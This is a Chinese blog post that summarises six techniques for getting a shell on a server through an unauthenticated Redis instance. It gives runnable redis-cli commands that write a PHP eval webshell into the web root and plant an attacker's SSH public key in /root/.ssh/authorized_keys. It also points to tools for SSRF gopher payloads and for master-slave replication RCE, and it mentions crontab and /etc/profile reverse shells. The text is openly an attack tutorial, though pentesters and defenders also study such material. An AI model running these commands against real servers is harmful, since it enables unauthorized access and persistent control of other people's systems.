当前位置: 首页 > news >正文

Redis反弹Shell

这里我来总结几种Redis反弹Shell的方法

一、利用Redis写WebShell

前提条件

开了web服务器,并且知道路径,还需要有文件读写增删改查的权限

条件比较苛刻,但是满足条件上传就会简单一点,我们直接将文件写入www目录下,完了使用工具连接即可。

语句:

redis:6379> config set dir /var/www/html/

redis:6379> config set dbfilename shell.php

redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"

redis:6379> save
 

二、利用crontab反弹Shell

前提条件:可以建立连接,下载上传文件

这个就是利用计划文件,将木马写到计划文件,等待计划任务执行时解析木马,然后反弹Shell。

详情可见

Web-Machine-N7靶机攻略-CSDN博客文章浏览阅读280次,点赞3次,收藏6次。摘要:本文记录了从靶机部署到成功获取FLAG的渗透测试过程。首先通过VirtualBox启动靶机并配置桥接网络,使用arp-scan和gobuster等工具进行信息收集,发现exploit.html文件上传点。在尝试上传木马未果后,通过查阅资料找到隐藏的enter_network/admin.php目录。通过破解Cookie(经过URL解码、base64解码和MD5解密)成功绕过管理员验证,最终拼接获得完整FLAG。整个过程展示了从信息搜集到权限提升的完整渗透测试思路。 https://blog.csdn.net/fristchoice/article/details/149613502?spm=1001.2014.3001.5501

三、SSRF结合Redis未授权Getshell

这个按道理来说已经不是反弹Shell了,而是写入GetShell,但是既然总结了,我就把他也放到这里来。这个主要就是使用kali中的Gopherus来生成载荷。命令如下:

python2 gopherus.py --exploit redis

紧接着将其进行URL编码,然后访问即可。

最后使用工具连接即可。

四、Redis密钥写入ssh

前提条件

Redis服务使用root账号启动,且可未授权登录;服务器开放了SSH服务,而且允许使用密钥登陆,即可远程写入一个公钥,直接远程登录服务器。

步骤:

生成密钥公钥:ssh-keygen -t rsa

防止乱码:(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

导入内容到redis数据库:cat key.txt | redis-cli -h 192.168.1.74 -a 123456 -x set ssh

              -a为登陆密码,可选择不写,回显为OK

接下来保存到目录:

redis:6379> config set dir /root/.ssh
redis:6379> config set dbfilename authorized_keys 
redis:6379> save
这时就完成了,直接ssh连入即可:ssh @ IP

五、主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指一个redis作为主机,其他为备份机,主从数据相同,从机去读,主机写。在Redis4.x之后,通过外部扩展,可以实现redis中实现一个新的redis命令,构造恶意.so文件,在两个redis实例设置主从模式,redis主机实例可以通过FULLRESYNC同步文件到从机上,在从机家在恶意so文件,从而执行文件。

工具下载:nullhttps://github.com/n0b0dyCN/redis-rogue-server

六、通过修改系统配置文件执行命令

例如写入/etc/profile,/etc/bashrc等系统环境配置文件,在用户登陆时自动执行反弹shell(需要等待用户登录才可以触发)

这个方法我没有试过,只是搜索找到了这个方法,日后如果用到的话会返回来补充,现在就写到这里。欢迎大家补充讨论。

http://www.lryc.cn/news/602096.html

相关文章:

  • UniappDay04
  • 【跳跃游戏】
  • Vue、微信小程序、Uniapp 面试题整理最新整合版
  • Entity Framework Core (EF Core) 中Database
  • uniapp,uview icon加载太慢了,老是显示叉叉,将远程加载改到本地加载。
  • 设计模式(二十三)行为型:模板方法模式详解
  • 常用设计模式系列(十四)—模板方法模式
  • 开源智能体-JoyAgent集成ollama私有化模型
  • C#与C++交互开发系列(二十六):构建跨语言共享缓存,实现键值对读写与数据同步(实践方案)
  • 基于百度 iframe 框架与语音解析服务的数字人交互系统实现
  • 元宇宙工厂前端新形态:Three.js与WebGL实现3D产线交互的轻量化之路
  • Python系统交互库全解析
  • CentOS 7 安装 dnsmasq 解决nginx无法指定dns的问题
  • 新能源行业B端极简设计:碳中和目标下的交互轻量化实践
  • GitLab 18.2 发布几十项与 DevSecOps 有关的功能,可升级体验【三】
  • Windows 系统分辨率切换** 与 **Qt4 无边框窗口管理机制** 的交互
  • 全面解析MySQL(4)——三大范式与联合查询实例教程
  • Deep Learning_ Foundations and Concepts-Springer (2024)【拜读】前向编码器20章
  • 【CSS】设置表格表头固定
  • 深度学习----视觉里程计
  • 工业场景工服识别准确率↑32%!陌讯多特征融合算法实战解析
  • STM32 usb HOST audio USB 音频设备 放音乐
  • Pandas 里的分箱操作
  • 负载均衡集群HAproxy
  • MCP工作原理
  • Java-泛型类的定义与使用
  • 浅谈面试中的递归算法
  • 【Linux】编辑器vim和编译器gcc/g++
  • 解析分区、挂载与块设备:Linux 存储管理核心命令详解
  • 近屿智能正式发布AI得贤招聘官的AI面试官智能体6.3版本:交付替代人类面试官的打分结果